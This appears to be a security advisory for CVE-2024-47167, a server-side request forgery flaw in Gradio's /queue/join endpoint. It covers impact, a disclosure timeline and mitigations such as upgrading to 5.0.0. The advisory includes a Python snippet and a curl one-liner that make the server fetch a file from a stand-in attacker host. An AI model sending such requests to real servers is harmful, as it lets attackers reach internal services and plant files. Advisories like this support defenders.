Gradio anfällig für SSRF im Pfadparameter von /queue/join

The SSRF vulnerability in Gradio's /queue/join endpoint poses a significant risk. An attacker can leverage this to craft malicious HTTP requests that the Gradio server will execute on their behalf. This allows them to target internal services that are not directly accessible from the outside, potentially gaining access to sensitive data or performing actions as the Gradio server. The ability to upload content from these external URLs and store it locally further exacerbates the risk, as attackers could upload malicious files to the server. This is particularly concerning in environments where Gradio is used to expose machine learning models or other internal applications.

Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.

• python / gradio:

import requests
import urllib3

http = urllib3.PoolManager()

try:
    response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
    print(response.status)
except Exception as e:
    print(f"Error: {e}")

• generic web:

curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'

1. 2024-10-10Disclosure

   disclosure

1. Reserviert2024-09-19
2. Veröffentlicht2024-10-10
3. Geändert2025-01-21
4. EPSS aktualisiert2026-04-02

The primary mitigation for CVE-2024-47167 is to upgrade Gradio to version 5.0.0 or later, which contains the fix. If an immediate upgrade is not feasible, consider implementing temporary workarounds. Restrict network access to the Gradio server to only allow connections to trusted internal resources. Implement a Web Application Firewall (WAF) with rules to block suspicious outbound HTTP requests, particularly those targeting unusual ports or internal IP addresses. Carefully review and validate any user-provided URLs before they are used in HTTP requests. After upgrading, confirm the fix by attempting to trigger the /queue/join endpoint with a known malicious URL and verifying that the request is blocked.